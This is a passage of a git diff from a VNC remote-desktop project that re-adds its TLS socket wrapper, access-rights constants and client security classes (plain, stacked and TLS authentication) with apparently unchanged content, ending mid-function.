- return 0; - } catch (std::exception& e) { - core::socket_error* se; - vlog.error("Failure reading TLS data: %s", e.what()); - se = dynamic_cast(&e); - if (se) - gnutls_transport_set_errno(session, se->err); - else - gnutls_transport_set_errno(session, EINVAL); - saved_exception = std::current_exception(); - return -1; - } - - return size; -} - -ssize_t TLSSocket::push(const void* data, size_t size) -{ - saved_exception = nullptr; - - try { - out->writeBytes((const uint8_t*)data, size); - out->flush(); - } catch (std::exception& e) { - core::socket_error* se; - vlog.error("Failure sending TLS data: %s", e.what()); - se = dynamic_cast(&e); - if (se) - gnutls_transport_set_errno(session, se->err); - else - gnutls_transport_set_errno(session, EINVAL); - saved_exception = std::current_exception(); - return -1; - } - - return size; -} - -#endif +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#include +#include +#include +#include + +#include + +#ifdef HAVE_GNUTLS + +using namespace rdr; + +static core::LogWriter vlog("TLSSocket"); + +TLSSocket::TLSSocket(InStream* in_, OutStream* out_, + gnutls_session_t session_) + : session(session_), in(in_), out(out_), tlsin(this), tlsout(this) +{ + gnutls_transport_set_pull_function( + session, [](gnutls_transport_ptr_t sock, void* data, size_t size) { + return ((TLSSocket*)sock)->pull(data, size); + }); + gnutls_transport_set_push_function( + session, [](gnutls_transport_ptr_t sock, const void* data, size_t size) { + return ((TLSSocket*)sock)->push(data, size); + }); + gnutls_transport_set_ptr(session, this); +} + +TLSSocket::~TLSSocket() +{ + gnutls_transport_set_pull_function(session, nullptr); + gnutls_transport_set_push_function(session, nullptr); + gnutls_transport_set_ptr(session, nullptr); +} + +bool TLSSocket::handshake() +{ + int err; + + err = gnutls_handshake(session); + if (err != GNUTLS_E_SUCCESS) { + gnutls_alert_description_t alert; + const char* msg; + + if ((err == GNUTLS_E_PULL_ERROR) || (err == GNUTLS_E_PUSH_ERROR)) + std::rethrow_exception(saved_exception); + + alert = gnutls_alert_get(session); + msg = nullptr; + + if ((err == GNUTLS_E_WARNING_ALERT_RECEIVED) || + (err == GNUTLS_E_FATAL_ALERT_RECEIVED)) + msg = gnutls_alert_get_name(alert); + + if (msg == nullptr) + msg = gnutls_strerror(err); + + if (!gnutls_error_is_fatal(err)) { + vlog.debug("Deferring completion of TLS handshake: %s", msg); + return false; + } + + vlog.error("TLS Handshake failed: %s\n", msg); + gnutls_alert_send_appropriate(session, err); + throw rdr::tls_error("TLS Handshake failed", err, alert); + } + + return true; +} + +void TLSSocket::shutdown() +{ + int ret; + + try { + if (tlsout.hasBufferedData()) { + tlsout.cork(false); + tlsout.flush(); + if (tlsout.hasBufferedData()) + vlog.error("Failed to flush remaining socket data on close"); + } + } catch (std::exception& e) { + vlog.error("Failed to flush remaining socket data on close: %s", e.what()); + } + + // FIXME: We can't currently wait for the response, so we only send + // our close and hope for the best + ret = gnutls_bye(session, GNUTLS_SHUT_WR); + if ((ret != GNUTLS_E_SUCCESS) && (ret != GNUTLS_E_INVALID_SESSION)) + vlog.error("TLS shutdown failed: %s", gnutls_strerror(ret)); +} + +size_t TLSSocket::readTLS(uint8_t* buf, size_t len) +{ + int n; + + while (true) { + streamEmpty = false; + n = gnutls_record_recv(session, (void *) buf, len); + if (n == GNUTLS_E_INTERRUPTED || n == GNUTLS_E_AGAIN) { + // GnuTLS returns GNUTLS_E_AGAIN for a bunch of other scenarios + // other than the pull function returning EAGAIN, so we have to + // double check that the underlying stream really is empty + if (!streamEmpty) + continue; + else + return 0; + } + break; + }; + + if (n == GNUTLS_E_PULL_ERROR) + std::rethrow_exception(saved_exception); + + if (n < 0) { + gnutls_alert_send_appropriate(session, n); + throw tls_error("readTLS", n, gnutls_alert_get(session)); + } + + if (n == 0) + throw end_of_stream(); + + return n; +} + +size_t TLSSocket::writeTLS(const uint8_t* data, size_t length) +{ + int n; + + n = gnutls_record_send(session, data, length); + if (n == GNUTLS_E_INTERRUPTED || n == GNUTLS_E_AGAIN) + return 0; + + if (n == GNUTLS_E_PUSH_ERROR) + std::rethrow_exception(saved_exception); + + if (n < 0) { + gnutls_alert_send_appropriate(session, n); + throw tls_error("writeTLS", n, gnutls_alert_get(session)); + } + + return n; +} + +ssize_t TLSSocket::pull(void* data, size_t size) +{ + streamEmpty = false; + saved_exception = nullptr; + + try { + if (!in->hasData(1)) { + streamEmpty = true; + gnutls_transport_set_errno(session, EAGAIN); + return -1; + } + + if (in->avail() < size) + size = in->avail(); + + in->readBytes((uint8_t*)data, size); + } catch (end_of_stream&) { + return 0; + } catch (std::exception& e) { + core::socket_error* se; + vlog.error("Failure reading TLS data: %s", e.what()); + se = dynamic_cast(&e); + if (se) + gnutls_transport_set_errno(session, se->err); + else + gnutls_transport_set_errno(session, EINVAL); + saved_exception = std::current_exception(); + return -1; + } + + return size; +} + +ssize_t TLSSocket::push(const void* data, size_t size) +{ + saved_exception = nullptr; + + try { + out->writeBytes((const uint8_t*)data, size); + out->flush(); + } catch (std::exception& e) { + core::socket_error* se; + vlog.error("Failure sending TLS data: %s", e.what()); + se = dynamic_cast(&e); + if (se) + gnutls_transport_set_errno(session, se->err); + else + gnutls_transport_set_errno(session, EINVAL); + saved_exception = std::current_exception(); + return -1; + } + + return size; +} + +#endif diff --git a/T2SRFB/common/rdr/TLSSocket.h b/T2SRFB/common/rdr/TLSSocket.h index bff2484..730d395 100644 --- a/T2SRFB/common/rdr/TLSSocket.h +++ b/T2SRFB/common/rdr/TLSSocket.h @@ -1,81 +1,81 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __RDR_TLSSOCKET_H__ -#define __RDR_TLSSOCKET_H__ - -#ifdef HAVE_GNUTLS - -#include - -#include - -#include -#include - -namespace rdr { - - class InStream; - class OutStream; - - class TLSInStream; - class TLSOutStream; - - class TLSSocket { - public: - TLSSocket(InStream* in, OutStream* out, gnutls_session_t session); - virtual ~TLSSocket(); - - TLSInStream& inStream() { return tlsin; } - TLSOutStream& outStream() { return tlsout; } - - bool handshake(); - void shutdown(); - - protected: - /* Used by the stream classes */ - size_t readTLS(uint8_t* buf, size_t len); - size_t writeTLS(const uint8_t* data, size_t length); - - friend TLSInStream; - friend TLSOutStream; - - private: - ssize_t pull(void* data, size_t size); - ssize_t push(const void* data, size_t size); - - gnutls_session_t session; - - InStream* in; - OutStream* out; - - TLSInStream tlsin; - TLSOutStream tlsout; - - bool streamEmpty; - - std::exception_ptr saved_exception; - }; - -} - -#endif - -#endif +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __RDR_TLSSOCKET_H__ +#define __RDR_TLSSOCKET_H__ + +#ifdef HAVE_GNUTLS + +#include + +#include + +#include +#include + +namespace rdr { + + class InStream; + class OutStream; + + class TLSInStream; + class TLSOutStream; + + class TLSSocket { + public: + TLSSocket(InStream* in, OutStream* out, gnutls_session_t session); + virtual ~TLSSocket(); + + TLSInStream& inStream() { return tlsin; } + TLSOutStream& outStream() { return tlsout; } + + bool handshake(); + void shutdown(); + + protected: + /* Used by the stream classes */ + size_t readTLS(uint8_t* buf, size_t len); + size_t writeTLS(const uint8_t* data, size_t length); + + friend TLSInStream; + friend TLSOutStream; + + private: + ssize_t pull(void* data, size_t size); + ssize_t push(const void* data, size_t size); + + gnutls_session_t session; + + InStream* in; + OutStream* out; + + TLSInStream tlsin; + TLSOutStream tlsout; + + bool streamEmpty; + + std::exception_ptr saved_exception; + }; + +} + +#endif + +#endif diff --git a/T2SRFB/common/rfb/AccessRights.cxx b/T2SRFB/common/rfb/AccessRights.cxx index b33a907..be743c5 100644 --- a/T2SRFB/common/rfb/AccessRights.cxx +++ b/T2SRFB/common/rfb/AccessRights.cxx @@ -1,40 +1,40 @@ -/* Copyright 2024 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include "AccessRights.h" - -namespace rfb -{ - - // AccessRights values - const AccessRights AccessNone = 0x0000; - const AccessRights AccessView = 0x0001; - const AccessRights AccessKeyEvents = 0x0002; - const AccessRights AccessPtrEvents = 0x0004; - const AccessRights AccessCutText = 0x0008; - const AccessRights AccessSetDesktopSize = 0x0010; - const AccessRights AccessNonShared = 0x0020; - const AccessRights AccessDefault = 0x03ff; - const AccessRights AccessNoQuery = 0x0400; - const AccessRights AccessFull = 0xffff; - -} /* namespace rfb */ +/* Copyright 2024 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include "AccessRights.h" + +namespace rfb +{ + + // AccessRights values + const AccessRights AccessNone = 0x0000; + const AccessRights AccessView = 0x0001; + const AccessRights AccessKeyEvents = 0x0002; + const AccessRights AccessPtrEvents = 0x0004; + const AccessRights AccessCutText = 0x0008; + const AccessRights AccessSetDesktopSize = 0x0010; + const AccessRights AccessNonShared = 0x0020; + const AccessRights AccessDefault = 0x03ff; + const AccessRights AccessNoQuery = 0x0400; + const AccessRights AccessFull = 0xffff; + +} /* namespace rfb */ diff --git a/T2SRFB/common/rfb/AccessRights.h b/T2SRFB/common/rfb/AccessRights.h index 50c6f0f..99b14b6 100644 --- a/T2SRFB/common/rfb/AccessRights.h +++ b/T2SRFB/common/rfb/AccessRights.h @@ -1,41 +1,41 @@ -/* Copyright 2024 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef COMMON_RFB_ACCESSRIGHTS_H_ -#define COMMON_RFB_ACCESSRIGHTS_H_ - -#include - -namespace rfb -{ - - typedef uint16_t AccessRights; - extern const AccessRights AccessNone; // No rights at all - extern const AccessRights AccessView; // View display contents - extern const AccessRights AccessKeyEvents; // Send key events - extern const AccessRights AccessPtrEvents; // Send pointer events - extern const AccessRights AccessCutText; // Send/receive clipboard events - extern const AccessRights AccessSetDesktopSize; // Change desktop size - extern const AccessRights AccessNonShared; // Exclusive access to the server - extern const AccessRights AccessDefault; // The default rights, INCLUDING FUTURE ONES - extern const AccessRights AccessNoQuery; // Connect without local user accepting - extern const AccessRights AccessFull; // All of the available AND FUTURE rights - -} /* namespace rfb */ - -#endif /* COMMON_RFB_ACCESSRIGHTS_H_ */ +/* Copyright 2024 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef COMMON_RFB_ACCESSRIGHTS_H_ +#define COMMON_RFB_ACCESSRIGHTS_H_ + +#include + +namespace rfb +{ + + typedef uint16_t AccessRights; + extern const AccessRights AccessNone; // No rights at all + extern const AccessRights AccessView; // View display contents + extern const AccessRights AccessKeyEvents; // Send key events + extern const AccessRights AccessPtrEvents; // Send pointer events + extern const AccessRights AccessCutText; // Send/receive clipboard events + extern const AccessRights AccessSetDesktopSize; // Change desktop size + extern const AccessRights AccessNonShared; // Exclusive access to the server + extern const AccessRights AccessDefault; // The default rights, INCLUDING FUTURE ONES + extern const AccessRights AccessNoQuery; // Connect without local user accepting + extern const AccessRights AccessFull; // All of the available AND FUTURE rights + +} /* namespace rfb */ + +#endif /* COMMON_RFB_ACCESSRIGHTS_H_ */ diff --git a/T2SRFB/common/rfb/CSecurityPlain.cxx b/T2SRFB/common/rfb/CSecurityPlain.cxx index 805e5b2..996356b 100644 --- a/T2SRFB/common/rfb/CSecurityPlain.cxx +++ b/T2SRFB/common/rfb/CSecurityPlain.cxx @@ -1,47 +1,47 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include - -#include - -using namespace rfb; - -bool CSecurityPlain::processMsg() -{ - rdr::OutStream* os = cc->getOutStream(); - - std::string username; - std::string password; - - cc->getUserPasswd(cc->isSecure(), &username, &password); - - // Return the response to the server - os->writeU32(username.size()); - os->writeU32(password.size()); - os->writeBytes((const uint8_t*)username.data(), username.size()); - os->writeBytes((const uint8_t*)password.data(), password.size()); - os->flush(); - return true; -} +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#include + +using namespace rfb; + +bool CSecurityPlain::processMsg() +{ + rdr::OutStream* os = cc->getOutStream(); + + std::string username; + std::string password; + + cc->getUserPasswd(cc->isSecure(), &username, &password); + + // Return the response to the server + os->writeU32(username.size()); + os->writeU32(password.size()); + os->writeBytes((const uint8_t*)username.data(), username.size()); + os->writeBytes((const uint8_t*)password.data(), password.size()); + os->flush(); + return true; +} diff --git a/T2SRFB/common/rfb/CSecurityPlain.h b/T2SRFB/common/rfb/CSecurityPlain.h index eea270d..0e26607 100644 --- a/T2SRFB/common/rfb/CSecurityPlain.h +++ b/T2SRFB/common/rfb/CSecurityPlain.h @@ -1,34 +1,34 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -#ifndef __RFB_CSECURITYPLAIN_H__ -#define __RFB_CSECURITYPLAIN_H__ - -#include -#include - -namespace rfb { - - class CSecurityPlain : public CSecurity { - public: - CSecurityPlain(CConnection* cc_) : CSecurity(cc_) {} - bool processMsg() override; - int getType() const override { return secTypePlain; } - }; -} -#endif +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +#ifndef __RFB_CSECURITYPLAIN_H__ +#define __RFB_CSECURITYPLAIN_H__ + +#include +#include + +namespace rfb { + + class CSecurityPlain : public CSecurity { + public: + CSecurityPlain(CConnection* cc_) : CSecurity(cc_) {} + bool processMsg() override; + int getType() const override { return secTypePlain; } + }; +} +#endif diff --git a/T2SRFB/common/rfb/CSecurityStack.cxx b/T2SRFB/common/rfb/CSecurityStack.cxx index c0c89b0..6635c9b 100644 --- a/T2SRFB/common/rfb/CSecurityStack.cxx +++ b/T2SRFB/common/rfb/CSecurityStack.cxx @@ -1,76 +1,76 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include - -using namespace rfb; - -CSecurityStack::CSecurityStack(CConnection* cc_, int Type, - CSecurity* s0, CSecurity* s1) - : CSecurity(cc_), type(Type) -{ - state = 0; - state0 = s0; - state1 = s1; -} - -CSecurityStack::~CSecurityStack() -{ - delete state0; - delete state1; -} - -bool CSecurityStack::processMsg() -{ - bool res=true; - if (state == 0) { - if (state0) - res = state0->processMsg(); - - if (!res) - return res; - - state++; - } - - if (state == 1) { - if(state1) - res = state1->processMsg(); - - if(!res) - return res; - - state++; - } - - return res; -} - -bool CSecurityStack::isSecure() const -{ - if (state0 && state0->isSecure()) - return true; - if (state == 1 && state1 && state1->isSecure()) - return true; - return false; -} +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include + +using namespace rfb; + +CSecurityStack::CSecurityStack(CConnection* cc_, int Type, + CSecurity* s0, CSecurity* s1) + : CSecurity(cc_), type(Type) +{ + state = 0; + state0 = s0; + state1 = s1; +} + +CSecurityStack::~CSecurityStack() +{ + delete state0; + delete state1; +} + +bool CSecurityStack::processMsg() +{ + bool res=true; + if (state == 0) { + if (state0) + res = state0->processMsg(); + + if (!res) + return res; + + state++; + } + + if (state == 1) { + if(state1) + res = state1->processMsg(); + + if(!res) + return res; + + state++; + } + + return res; +} + +bool CSecurityStack::isSecure() const +{ + if (state0 && state0->isSecure()) + return true; + if (state == 1 && state1 && state1->isSecure()) + return true; + return false; +} diff --git a/T2SRFB/common/rfb/CSecurityStack.h b/T2SRFB/common/rfb/CSecurityStack.h index 3652ced..8174770 100644 --- a/T2SRFB/common/rfb/CSecurityStack.h +++ b/T2SRFB/common/rfb/CSecurityStack.h @@ -1,42 +1,42 @@ -/* Copyright (C) 2005 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -#ifndef __RFB_CSECURITYSTACK_H__ -#define __RFB_CSECURITYSTACK_H__ - -#include - -namespace rfb { - - class CSecurityStack : public CSecurity { - public: - CSecurityStack(CConnection* cc, int Type, - CSecurity* s0 = nullptr, CSecurity* s1 = nullptr); - ~CSecurityStack(); - bool processMsg() override; - int getType() const override {return type;}; - bool isSecure() const override; - protected: - int state; - CSecurity* state0; - CSecurity* state1; - int type; - }; -} -#endif +/* Copyright (C) 2005 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +#ifndef __RFB_CSECURITYSTACK_H__ +#define __RFB_CSECURITYSTACK_H__ + +#include + +namespace rfb { + + class CSecurityStack : public CSecurity { + public: + CSecurityStack(CConnection* cc, int Type, + CSecurity* s0 = nullptr, CSecurity* s1 = nullptr); + ~CSecurityStack(); + bool processMsg() override; + int getType() const override {return type;}; + bool isSecure() const override; + protected: + int state; + CSecurity* state0; + CSecurity* state1; + int type; + }; +} +#endif diff --git a/T2SRFB/common/rfb/CSecurityTLS.cxx b/T2SRFB/common/rfb/CSecurityTLS.cxx index a8f3394..7cb4dca 100644 --- a/T2SRFB/common/rfb/CSecurityTLS.cxx +++ b/T2SRFB/common/rfb/CSecurityTLS.cxx @@ -1,705 +1,705 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright (C) 2010 m-privacy GmbH - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#ifndef HAVE_GNUTLS -#error "This header should not be compiled without HAVE_GNUTLS defined" -#endif - -#include -#ifndef WIN32 -#include -#endif - -#include -#include -#include - -#include -#include -#include - -#include -#include - -#include - -using namespace rfb; - -static const char* configdirfn(const char* fn); - -core::StringParameter CSecurityTLS::X509CA("X509CA", "X509 CA certificate", - configdirfn("x509_ca.pem")); -core::StringParameter CSecurityTLS::X509CRL("X509CRL", "X509 CRL file", - configdirfn("x509_crl.pem")); - -static core::LogWriter vlog("TLS"); - -static const char* configdirfn(const char* fn) -{ - static char full_path[PATH_MAX]; - const char* configdir; - - configdir = core::getvncconfigdir(); - if (configdir == nullptr) - return ""; - - snprintf(full_path, sizeof(full_path), "%s/%s", configdir, fn); - return full_path; -} - -CSecurityTLS::CSecurityTLS(CConnection* cc_, bool _anon) - : CSecurity(cc_), session(nullptr), - anon_cred(nullptr), cert_cred(nullptr), - anon(_anon), tlssock(nullptr), - rawis(nullptr), rawos(nullptr) -{ - int err = gnutls_global_init(); - if (err != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_global_init()", err); -} - -void CSecurityTLS::shutdown() -{ - if (tlssock) - tlssock->shutdown(); - - if (anon_cred) { - gnutls_anon_free_client_credentials(anon_cred); - anon_cred = nullptr; - } - - if (cert_cred) { - gnutls_certificate_free_credentials(cert_cred); - cert_cred = nullptr; - } - - if (rawis && rawos) { - cc->setStreams(rawis, rawos); - rawis = nullptr; - rawos = nullptr; - } - - if (tlssock) { - delete tlssock; - tlssock = nullptr; - } - - if (session) { - gnutls_deinit(session); - session = nullptr; - } -} - - -CSecurityTLS::~CSecurityTLS() -{ - shutdown(); - - gnutls_global_deinit(); -} - -bool CSecurityTLS::processMsg() -{ - rdr::InStream* is = cc->getInStream(); - rdr::OutStream* os = cc->getOutStream(); - client = cc; - - if (!session) { - int ret; - - if (!is->hasData(1)) - return false; - - if (is->readU8() == 0) - throw protocol_error("Server failed to initialize TLS session"); - - ret = gnutls_init(&session, GNUTLS_CLIENT); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_init()", ret); - - ret = gnutls_set_default_priority(session); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_set_default_priority()", ret); - - setParam(); - - tlssock = new rdr::TLSSocket(is, os, session); - - rawis = is; - rawos = os; - } - - try { - if (!tlssock->handshake()) - return false; - } catch (std::exception&) { - shutdown(); - throw; - } - - vlog.debug("TLS handshake completed with %s", - gnutls_session_get_desc(session)); - - checkSession(); - - cc->setStreams(&tlssock->inStream(), &tlssock->outStream()); - - return true; -} - -void CSecurityTLS::setParam() -{ - static const char kx_anon_priority[] = "+ANON-ECDH:+ANON-DH"; - - int ret; - - // Custom priority string specified? - if (strcmp(Security::GnuTLSPriority, "") != 0) { - std::string prio; - const char *err; - - prio = (const char*)Security::GnuTLSPriority; - if (anon) { - prio += ":"; - prio += kx_anon_priority; - } - - ret = gnutls_priority_set_direct(session, prio.c_str(), &err); - if (ret != GNUTLS_E_SUCCESS) { - if (ret == GNUTLS_E_INVALID_REQUEST) - vlog.error("GnuTLS priority syntax error at: %s", err); - throw rdr::tls_error("gnutls_set_priority_direct()", ret); - } - } else if (anon) { - const char *err; - -#if GNUTLS_VERSION_NUMBER >= 0x030603 - ret = gnutls_set_default_priority_append(session, kx_anon_priority, &err, 0); - if (ret != GNUTLS_E_SUCCESS) { - if (ret == GNUTLS_E_INVALID_REQUEST) - vlog.error("GnuTLS priority syntax error at: %s", err); - throw rdr::tls_error("gnutls_set_default_priority_append()", ret); - } -#else - std::string prio; - - // We don't know what the system default priority is, so we guess - // it's what upstream GnuTLS has - prio = "NORMAL"; - prio += ":"; - prio += kx_anon_priority; - - ret = gnutls_priority_set_direct(session, prio.c_str(), &err); - if (ret != GNUTLS_E_SUCCESS) { - if (ret == GNUTLS_E_INVALID_REQUEST) - vlog.error("GnuTLS priority syntax error at: %s", err); - throw rdr::tls_error("gnutls_set_priority_direct()", ret); - } -#endif - } - - if 